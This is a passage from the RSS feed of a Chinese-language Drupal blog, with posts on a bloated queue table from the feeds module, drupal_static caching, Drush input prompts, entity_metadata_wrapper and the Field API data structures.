&lt;p&gt;这里只剩下一条结果，是&lt;a href=&#34;https://drupal.org/project/feeds&#34; target=&#34;_blank&#34;&gt;feeds模块&lt;/a&gt;用于从rss导入内容创建的任务。检查了一下这个导入设置，我发现，这个任务被配置为15分钟一次，然而cron被配置为每小时运行一次。这意味着，每次cron运行，是无法完成所有的任务的，所以任务数据就会持续增长下去了。&lt;/p&gt;

&lt;p&gt;解决问题也很简单，提高cron的运行频率，降低导入触发频率，来确保cron能够顺利完成所有任务。&lt;/p&gt;

&lt;p&gt;这里对膨胀的表的处理还有一点遗留问题，如果cron能够顺利完成，数据表应该恢复正常大小。如果你不放心，可以直接truncate这张表，当然是在你知道这一行为的后果是否会影响必要任务的情况下。&lt;/p&gt;

&lt;p&gt;##基准测试&lt;/p&gt;

&lt;p&gt;下面是同一个查询在一个&amp;rdquo;正常&amp;rdquo;的网站下的运行结果。&lt;/p&gt;

&lt;p&gt;这里你会看到，没有什么数据在尺寸上鹤立鸡群，这个数据库只有10M。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;+--------------------+---------------+
| DB Name            | DB Size in MB |
+--------------------+---------------+
| information_schema |           0.2 |
| drupal_database    |           6.1 |
+--------------------+---------------+
2 rows in set (0.12 sec)

+---------------------+------------+-------------+--------------+------------+
| TABLE_NAME          | table_rows | data_length | index_length | Size in MB |
+---------------------+------------+-------------+--------------+------------+
| field_revision_body |        423 |     1556716 |        47104 |       1.53 |
| menu_router         |        450 |      425076 |        80896 |       0.48 |
| system              |        390 |      313544 |        73728 |       0.37 |
| field_data_body     |         37 |      135968 |        18432 |       0.15 |
| registry            |        965 |       94016 |        53248 |       0.14 |
+---------------------+------------+-------------+--------------+------------+
5 rows in set (0.02 sec)

+----------+
| count(1) |
+----------+
|        0 |
+----------+
1 row in set (0.00 sec)
&lt;/code&gt;&lt;/pre&gt;
</description>
    </item>
    
    <item>
      <title>Drupal静态缓存</title>
      <link>/post/drupal-static-cache/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-static-cache/</guid>
      <description>&lt;p&gt;Drupal的伸缩性是存在的，而且非常强大。当我们问别人对Drupal的看法时候，多数时间得到的答案是：据说那东西很慢。在我的工作中见到过很多性能低下的Drupal站点，缓存是其中的重要原因。即使是基础的Drupal安装，其中也包含了一套针对数据表的多层缓存，不幸的是，这一缓存体系很容易被开发者破坏。&lt;/p&gt;

&lt;p&gt;阻碍缓存的最大原因可能就是在自定义模块中错过了利用缓存提升性能的机会。把计算后的结果保存在PHP变量中，接下来的调用过程可能会得到成百上千倍的性能提升。要使用这一技巧只需要很小成本：如果一个结果已经得出，就返回这一结果；否则，运算得到结果之后，首先保存结果，然后才返回。&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    function apachesolr_static_response_cache($searcher, $response = NULL) {
      $_response = &amp;amp;drupal_static(__FUNCTION__, array());

      if (is_object($response)) {
        $_response[$searcher] = clone $response;
      }
      if (!isset($_response[$searcher])) {
        $_response[$searcher] = NULL;
      }
      return $_response[$searcher];
    }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Apache Solr模块在很多地方使用了静态缓存，例如即使一个页面上存在多个搜索相关的Block，也保证每次请求只执行一个Solr搜索。&lt;/p&gt;

&lt;p&gt;和其他缓存方案一样，缓存命中时候的访问速度和缓存未命中时的差异决定了缓存的效益。耗时长、执行频繁并且经常返回重复值的函数，通过缓存能够获得最好的收益，这一标准非常清晰，Drupal很多代码符合这一要求。&lt;/p&gt;

&lt;p&gt;很多重负载的核心函数进行了静态缓存：&lt;code&gt;menu.module&lt;/code&gt;使用了一个树状的数据结构，这意味着需要做很多重复的递归工作。当页面上有多处使用菜单的情况下，有了静态缓存的帮助，处理时间得到了极大的缩减。类似的还有Drupal的分类系统——在列表或画廊页面中，分类词的处理可能要进行非常多的次数。在&lt;code&gt;taxonomy.module&lt;/code&gt;中的五个函数包含了对&lt;code&gt;drupal_static()&lt;/code&gt;的调用，用于加速重复工作。&lt;/p&gt;

&lt;p&gt;Drupal中还有一类函数，他们的执行非常快速，但是在很多位置调用，并且返回结果几乎不会变化。&lt;code&gt;drupal_is_front_page()&lt;/code&gt;以及&lt;code&gt;drupal_page_is_cacheable()&lt;/code&gt;只是简单的检查，一个更好的例子是&lt;code&gt;ip_address()&lt;/code&gt;。这个函数需要处理HTTP头中的&lt;code&gt;X-Forwarded-For&lt;/code&gt;，用于确定用户的真实IP地址，这需要字符串运算。相对其他操作来说，字符串解析需要更多的函数调用和内存访问。&lt;/p&gt;

&lt;p&gt;上面的文字听起来很不错，不过如果缓存值不再准确了会怎样？虽说静态缓存只在一次请求中有效，这其中仍然存在缓存过期的可能性。在缓存函数内部对缓存数据进行失效处理是很容易的，但是由于缓存变量的作用域限制，会阻止其他函数访问。这意味着，静态缓存的实现还是可能有引入其他问题。&lt;/p&gt;

&lt;p&gt;在Drupal 7之前，函数需要自行决定是否暴露失效缓存的途径。有些通过跟踪一个不太优雅的&amp;rsquo;失效缓存&amp;rsquo;的参数，不过多数连这个都没有。Druapl 7中加入&lt;code&gt;drupal_static&lt;/code&gt;，让函数可以暴露一个可以为其他函数所用的静态变量，这样就可以在函数作用域之外改变这一变量了。&lt;/p&gt;

&lt;p&gt;&lt;code&gt;ip_address()&lt;/code&gt;函数是个静态缓存的好例子。很多站点具有地理相关的功能（例如把用户重定向到缺省语言或者展示本地内容），这种功能的测试也明显的比较麻烦。Smart IP模块实现了一个测试，用一个IP伪造的Form来测试用户权限和debug变量：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;    if (user_access(&#39;administer smart_ip&#39;) &amp;amp;&amp;amp; variable_get(&#39;smart_ip_debug&#39;, FALSE)) {

        $ip = variable_get(&#39;smart_ip_test_ip_address&#39;, ip_address());

        $location = smart_ip_get_location($ip);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;如何对这个内容进行自动化测试呢？测试账号需要访问权限（阻止匿名用户访问测试函数），IP 地址的变化也会影响到管理员用户。更糟糕的是，每次对测试IP地址的修改都会导致一次variable表的写入，这会拖慢整个站点。&lt;/p&gt;

&lt;p&gt;因为&lt;code&gt;ip_address()&lt;/code&gt;使用&lt;code&gt;drupal_static()&lt;/code&gt;暴露了他的静态缓存，所以就可以修改他的返回值了。这样测试过程就可以测试所有IP相关的函数，而不需要用户账号、权限或者对variable表的访问。要切换回普通的IP Address功能只要调用一次&lt;code&gt;drupal_static_reset()&lt;/code&gt;，这将导致&lt;code&gt;ip_address()&lt;/code&gt;的下次调用会像初次调用一样。&lt;/p&gt;

&lt;p&gt;Drupal.org列出了Drupal 7核心中的180次对&lt;code&gt;drupal_statc()&lt;/code&gt;的调用，drupalcontrib.org中报告了563此。并不是每次&lt;code&gt;drupal_static()&lt;/code&gt;调用都是静态缓存，也不是每个静态缓存都用&lt;code&gt;drupal_static&lt;/code&gt;实现，不过这仍然给我们以灵感，如何通过静态缓存来提高Drupal的性能。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drush提示用户输入的三种方式</title>
      <link>/post/drush-prompt-for-input/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drush-prompt-for-input/</guid>
      <description>&lt;p&gt;Drush是个能让Drupal变简单的好东西。他不仅带有大量的有用工具，同时为用户提供了接口，让用户可以轻松实现自己的命令。如果你需要为你的模块创建Drush命令，只要创建一个包含这些功能命令即可。&lt;/p&gt;

&lt;p&gt;在这个教程中，我们会演示如何在这些命令中获取用户反馈。这里我不会提到参数或选项之类的东西。这里主要讲述的是，如何获取一个是或否的确认，或者如何提示用户进行一个选择。另外，我们也会说说如何获取用户输入的文本。&lt;/p&gt;

&lt;p&gt;首先让我们看一下*drush_module_name_example_command()*这个回调函数：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;  /**
   * Callback function for the example command
   */
  function drush_module_name_example_command() {
    // Command code we will look at
    drush_print(&#39;Hello world!&#39;);
  }
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;##确认&lt;/p&gt;

&lt;p&gt;首先我们要试验的是如何获取用户的确认。在我们的例子中，我们会请用户确认是否显示内容，可以用Drush API这样实现：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;if (drush_confirm(&#39;Are you sure you want \&#39;Hello world\&#39; printed to the screen?&#39;)) {
  drush_print(&#39;Hello world!&#39;);
}
else {
  drush_user_abort();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里有两个新函数：*drush_confirm()*这个函数显示一个问题，并尝试从用户合理获取&lt;strong&gt;y&lt;/strong&gt;或者&lt;strong&gt;n&lt;/strong&gt;的反馈。如果回复是&lt;strong&gt;y&lt;/strong&gt;，这个函数会返回&lt;strong&gt;true&lt;/strong&gt;，意味着我们输出的提示获得了确认；如果回应是&lt;strong&gt;n&lt;/strong&gt;，会调用*drush_user_abort()*。这也是推荐的中止Drush命令的方式。&lt;/p&gt;

&lt;p&gt;##选项&lt;/p&gt;

&lt;p&gt;接下来我们来看看，如何让用户从一系列列表中进行选择。在我们的超级例子Hello World中，我们将给用户提供一系列的选择，让用户决定Drush对谁说Hello。代码实现如下：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$options = array(
 &#39;world&#39; =&amp;gt; &#39;World&#39;,
 &#39;univers&#39; =&amp;gt; &#39;Univers&#39;,
 &#39;planet&#39; =&amp;gt; &#39;Planet&#39;,
);

$choice = drush_choice($options, dt(&#39;Who do you want to say hello to?&#39;));

if ($choice) {
  drush_print(dt(&#39;Hello @choice!&#39;, array(&#39;@choice&#39; =&amp;gt; $options[$choice])));
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;上面的代码是做什么的呢？首先，我们创建了一个用于保存选项的*$options*数组。这个数组的键和值分别是选项的机器名称和描述。然后我们调用*drush_choice()&lt;em&gt;，两个参数分别是上面的&lt;/em&gt;$option*和用于提示用户的问题。&lt;/p&gt;

&lt;p&gt;当命令运行时，这个函数会返回用户选择项目的代码。接下来我们判断这个值是否存在，然后输出这个字符串。我们利用$option数组获取到用户选择内容。&lt;/p&gt;

&lt;p&gt;##用户输入内容&lt;/p&gt;

&lt;p&gt;第三种输入是自由输入的文本。当然这类内容的输入应该进行更加严格的校验，防止恶意输入影响系统。下面我们提示用户来输入他想要问好的目标：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$value = drush_prompt(dt(&#39;Who do you want to say hello to?&#39;));

drush_print(dt(&#39;Hello @value!&#39;, array(&#39;@value&#39; =&amp;gt;  $value)));
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个例子非常简单。当命令运行时，*drush_prompt()*函数会在终端显示我们输入的字符串。返回值由用户输入，接下来我们会输出这个返回值。不过请注意这只是示例代码，在真正使用这一功能时，请对用户的输入进行严格的检查。&lt;/p&gt;

&lt;p&gt;##结论&lt;/p&gt;

&lt;p&gt;这里介绍了三种不同的获取用户输入的Drush。前两种属于最常用的方式，第三种也有他的用武之地。当然——注意安全！&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>entity_metadata_wrapper极简说明</title>
      <link>/post/drupal-entity_metadata_wrapper-simple-guide/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-entity_metadata_wrapper-simple-guide/</guid>
      <description>&lt;p&gt;你熟悉&lt;code&gt;entity_metadata_wrapper&lt;/code&gt;么？如果不熟悉，那么赶快补课吧。&lt;/p&gt;

&lt;p&gt;Entity Metadata Wrapper(实体元数据封装)，在模块开发过程中对Field的操作来说，是最正确，也是最简单的方式。没错，在CCK年代，我们对Node中Field的操作熟练无比，不过现在看来，那些代码真的很邋遢。&lt;/p&gt;

&lt;p&gt;##干净的代码！&lt;/p&gt;

&lt;p&gt;以前是：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$first_name = &#39;&#39;;
if (!empty($node-&amp;gt;field_first_name)) {
  $name = $node-&amp;gt;field_first_name[LANGUAGE_NONE][0][&#39;value&#39;];
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;现在可以把它浓缩成这样：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$node_wrapper = entity_metadata_wrapper(&#39;node&#39;, $node);
$first_name = $node_wrapper-&amp;gt;field_first_name-&amp;gt;value();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;entity_metadata_wrapper&lt;/code&gt;这个好长的单词有点点吓人，不过他的确让代码干净了。如果要处理一个实体引用字段，或者文件字段，只要这样子：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$image = $node_wrapper-&amp;gt;field_image-&amp;gt;value();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;引用字段在这里已经载入成为了对象，而不只是一个FID了。&lt;/p&gt;

&lt;p&gt;##实体引用的处理：比干净还干净！&lt;/p&gt;

&lt;p&gt;假设你有两种Node类型：员工和部门。员工Node中有一个指向部门的实体引用字段，部门Node又一个叫做&lt;code&gt;field_dept_phone&lt;/code&gt;的字段保存了部门的电话号码（为了行文方便，我们假设部门字段是必填的）。&lt;/p&gt;

&lt;p&gt;如果拿到一个员工Node，如何取到电话号码呢？&lt;/p&gt;

&lt;p&gt;高难度动作：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$phone = &#39;&#39;;
$department = node_load($employee-&amp;gt;field_employee_dept[LANGUAGE_NONE][0]
[&#39;target_id&#39;]);
if ($department &amp;amp;&amp;amp; !empty($department-&amp;gt;field_dept_phone[LANGUAGE_NONE][0]
[&#39;value&#39;])) {
  $phone = $department-&amp;gt;field_dept_phone[LANGUAGE_NONE][0][&#39;value&#39;];
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Wrapper的办法：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$wrapper = entity_metadata_wrapper(&#39;node&#39;, $employee);
$phone = $wrapper-&amp;gt;field_employee_dept-&amp;gt;field_dept_phone-&amp;gt;value();
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;##然后？&lt;/p&gt;

&lt;p&gt;嗯，这个帖子并不是想做一个完整的&lt;code&gt;entity metadata wrapper&lt;/code&gt;教学。如果上面的描述吸引了你，请花15分钟来完成下面的事情：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;下载&lt;a href=&#34;DownloadEntityAPIfromhttp://drupal.org/project/entity&#34; target=&#34;_blank&#34;&gt;Entity API&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;阅读&lt;a href=&#34;https://drupal.org/node/1021556&#34; target=&#34;_blank&#34;&gt;Entity metadata wrappers&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;你的生活质量代码质量同步上升。。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
</description>
    </item>
    
    <item>
      <title>Field API</title>
      <link>/post/drupal-field-api/</link>
      <pubDate>Wed, 05 Aug 2015 10:32:19 +0800</pubDate>
      <guid>/post/drupal-field-api/</guid>
      <description>&lt;p&gt;利用Field API可以把字段附加到Drupal实体中，并提供了对字段数据的存储、载入、编辑以及渲染支持。Field API能把包括Node、User在内的任何实体变得“字段化”，也就是说可以把字段附加在实体之上。其他模块可以提供基于用户界面，可以通过浏览器来管理各种数据类型的字段，Form元素以及显示兼容性等。&lt;/p&gt;

&lt;p&gt;Field API定义了两个重要的数据结构：Field（字段）和Instance（字段实例），以及一个重要的概念：Bundle。字段定义了可以附加到实体智商的数据类型。字段实例是一个附加到一个Bundle上的字段。一个Bundle是一系列的用Field Attach API组织起来的字段集合，并且这一集合会被附加到一个字段化的实体之上。&lt;/p&gt;

&lt;p&gt;例如，站点管理员希望文章类型的Node具有次标题和照片。利用Field API或者Field UI模块，管理员创建了一个类型为&amp;rsquo;text&amp;rsquo;的名称为&amp;rsquo;次标题&amp;rsquo;的字段，以及一个&amp;rsquo;image&amp;rsquo;类型的名为&amp;rsquo;照片&amp;rsquo;的字段。接下来在界面上建立两个字段实例，两个实例分别将次标题和照片字段附加到Node类型的文章Bundle上。当Node系统利用Field Attach API来载入一个文章的所有字段时，因为前面已经将副标题和照片两个字段同Node实体的Article Bunle进行了绑定，会将Node的实体类型（node），内容类型（article）作为Bundle作为参数，&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_load/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_load()&lt;/a&gt;会载入这两个字段。&lt;/p&gt;

&lt;p&gt;##字段的定义以键值对数组的形式来表达。&lt;/p&gt;

&lt;p&gt;array $field:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;id(整形，只读)&lt;/strong&gt;：字段的主键，由&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_create_field/7.x&#34; target=&#34;_blank&#34;&gt;field_create_field()&lt;/a&gt;自动生成。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;field_name(字符串，最大长度32)&lt;/strong&gt;：字段的名称，每个字段名都是唯一的。当字段被附加到实体之后，会用$entity-&amp;gt;$field_name的形式进行存储。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;type(字符串)：&lt;/strong&gt;：字段的类型，例如“文本”或者“图片”。字段类型是由定义字段的模块在&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.api.php/function/hook_field_info/7.x&#34; target=&#34;_blank&#34;&gt;hook_field_info&lt;/a&gt;中实现的。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;entity_types(数组)&lt;/strong&gt;：允许挂接该字段的Entity类型列表，如果没有指定，那么该字段可以附加到任何类型的实体上。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;cardinality(整数)&lt;/strong&gt;：字段中可以存储的值的数量。取值范围为任何正整数或&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.module/constant/FIELD_CARDINALITY_UNLIMITED/7.x&#34; target=&#34;_blank&#34;&gt;FIELD_CARDINALITY_UNLIMITED&lt;/a&gt;。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;translatable(整数)&lt;/strong&gt;：该字段是否可翻译。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;locked(整数)&lt;/strong&gt;：该字段是否可以编辑，如果是TRUE，则用户无法设置该字段，也无法创建新实例。缺省为False。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;module(字符串，只读)&lt;/strong&gt;：实现该Field的模块名称。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;active(整数，只读)&lt;/strong&gt;：如果实现该字段的模块处于启用状态，则该值为真。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;deleted(整数，只读)&lt;/strong&gt;：是否被删除。被删除的字段会被Field Attach API忽略，这个属性的存在是因为字段一般只是被标记为删除，仅有在垃圾收集过程中才真正删除。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;columns(数组，只读)&lt;/strong&gt;：一个字段的值可能包含多个列，每个字段包含的列可能都不同。Field API中的列类似Schema API中的列，但这并不代表这两者一定是一一对应的，这要看字段的存储方法的具体实现。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;indexes(数组)&lt;/strong&gt;：数据列的索引数组，格式同Schema API的索引定义相同。只有出现在columns中的列才可以用在索引数组中。另外字段类型创建时可以定义缺省索引，并且在创建该字段类型的字段时，对索引进行修改或添加。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;foreign keys(可选)&lt;/strong&gt;：一个关系数组，同Schema的外键定义一致。这个成员的作用是非常优先的，因为你不能指定另外一个Field作为外键，只能指定数据表作为外键的关联目标。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;settings(数组)&lt;/strong&gt;：字段类型所属的一个键值对列表。每个字段类型的实现模块会定义实现自己的字段设置。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;storage(数组)&lt;/strong&gt;：一个键值对数组用于指定该字段的存储后端：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;*type(字符串)*：在&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.api.php/function/hook_field_storage_info/7.x&#34; target=&#34;_blank&#34;&gt;hook_field_storage_info&lt;/a&gt;中定义的后端存储。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*module(字符串，只读)*：实现后端存储的模块名称。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*active(整数，只读)*：存储后端是否可用。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*settings(数组)*：每个后端存储都有自己的配置键值对数组。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##字段实例的定义也是用键值对数组来实现的&lt;/p&gt;

&lt;p&gt;array $instance:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;id(整数：只读)&lt;/strong&gt;：字段实例的主键，由&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_create_instance/7.x&#34; target=&#34;_blank&#34;&gt;field_create_instance()&lt;/a&gt;自动生成。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;field_id(整数，只读)&lt;/strong&gt;：指向这一实例的字段的外键，由&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/function/field_create_instance/7.x&#34; target=&#34;_blank&#34;&gt;field_create_instance()&lt;/a&gt;自动创建。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;entity_type(字符串)&lt;/strong&gt;：实例所绑定的Bundle的名称。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;label(字符串)&lt;/strong&gt;：当字段同一个Bundle进行绑定时的一个可读的标签，例如，一个字段实例可能成为一个Form API元素的标题。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;description(字符串)&lt;/strong&gt;：同Label类似，在实例被绑定到Form时候，可能以Help文本的形式出现。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;required(整数)&lt;/strong&gt;：字段实例被绑定到Bundle上的时候，是否是必填字段。目前为止，这一属性仅在同Form API协同工作时生效，对于&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_load/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_load&lt;/a&gt;, &lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_insert/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_insert&lt;/a&gt;以及&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_update/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_update&lt;/a&gt;是无效的。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;default_value_function(字符串)&lt;/strong&gt;：如果该名称指定的函数存在的话，会为该实例提供一个缺省值。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;default_value(数组)&lt;/strong&gt;：如果default_value_function不存在，可以在这里指定缺省值。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;delted(整数，只读)&lt;/strong&gt;：字段实例的删除标志。被标记删除的实例会被Field Attach API忽略。同字段的情况一样，字段实例的删除也只是做一个删除标记，随垃圾收集完成真正的删除。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;settings(数组)&lt;/strong&gt;：继承字段类型的设置值。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;widget(数组)&lt;/strong&gt;：用键值对数组的形式，为这一绑定到Bundle的实例指定Form API的输入插件。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;*type(字符串)*：插件类型，例如text_textfield。插件类型由相应模块的&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.api.php/function/hook_field_widget_info/7.x&#34; target=&#34;_blank&#34;&gt;hook_field_widget_info()&lt;/a&gt;定义。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*settings(数组)*：插件自身的设置，每个字段插件类型模块都会定义自己的设置。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*weight(浮点数)*：该插件在编辑窗体中的权重。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*module(字符串，只读)*：实现这一插件的模块名称。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;dispaly(数组)&lt;/strong&gt;：用键值对数组的形式，指定字段值在实体的各种非取胜视图模式下的展示方式。在每一种视图模式下，Field UI让管理员可以在新建字段的时候，定义是否只定义一个缺省的显示方式来减少管理工作。在新装站点的情况下，Node只有在&amp;rsquo;teaser&amp;rsquo;模式下又一个自定义显示，其他的所有视图都定义使用缺省方式显示。当用变成方式把一个字段实例添加到node的时候，至少为缺省和&amp;rsquo;teaser&amp;rsquo;两种模式指定显示方式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;*default(字符串)*：用键值对数组来描述该字段在没有指定独立显示选项的情况下的显示方式。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;*label(字符串)*：标签的显示方式，缺省的字段主题能支持的包括行内、上方、下方或是隐藏。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*type(字符串)*：显示格式器的类型，或者用&amp;rsquo;hidden&amp;rsquo;来隐藏。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*settings(数组)*：格式器的配置键值数组。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*weight(浮点数)*：在该视图下的字段显示权重。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*module(字符串，只读)*：实现该格式器的模块。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;*其他模式*：同default类似，用同样的格式类定义在“其他模式”的视图中的显示。这些选项只有在运行时使用非缺省模式的情况下才会生效。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;字段实例的渲染数组在&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/function/field_attach_view/7.x&#34; target=&#34;_blank&#34;&gt;field_attach_view()&lt;/a&gt;文档中有描述。&lt;/p&gt;

&lt;p&gt;Bundle取决于两个字符串，实体类型和bundle名称。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.api.php/group/field_types/7.x&#34; target=&#34;_blank&#34;&gt;Field Types API&lt;/a&gt;&lt;/strong&gt;：定义了字段类型，插件类型，以及显示格式器。字段模块利用这个API来把文本或Node引用这样的字段同显示格式器以及form元素关联起来。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.crud.inc/group/field_crud/7.x&#34; target=&#34;_blank&#34;&gt;Field CRUD API&lt;/a&gt;&lt;/strong&gt;：对字段、字段实例和bundles进行增删改查，模块一般在&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21system%21system.api.php/function/hook_install/7.x&#34; target=&#34;_blank&#34;&gt;hook_install()&lt;/a&gt;中使用这些API来创建自定义数据结构。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.attach.inc/group/field_attach/7.x&#34; target=&#34;_blank&#34;&gt;Field Attach API&lt;/a&gt;&lt;/strong&gt;：把实体类型和字段API连接起来。这一组API为连接到实体上的字段数据提供载入、存储、生成From、显示和一些其他操作。Node之类的“字段化”的实体利用这些API使得自身能够被Field挂载。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&#34;http://api.drupalproject.org/api/drupal/drupal%21modules%21field%21field.info.inc/group/field_info/7.x&#34; target=&#34;_blank&#34;&gt;Field Info API&lt;/a&gt;&lt;/strong&gt;：向外提供所有字段、实例、插件的相关信息。&lt;/p&gt;&lt;/li&gt;

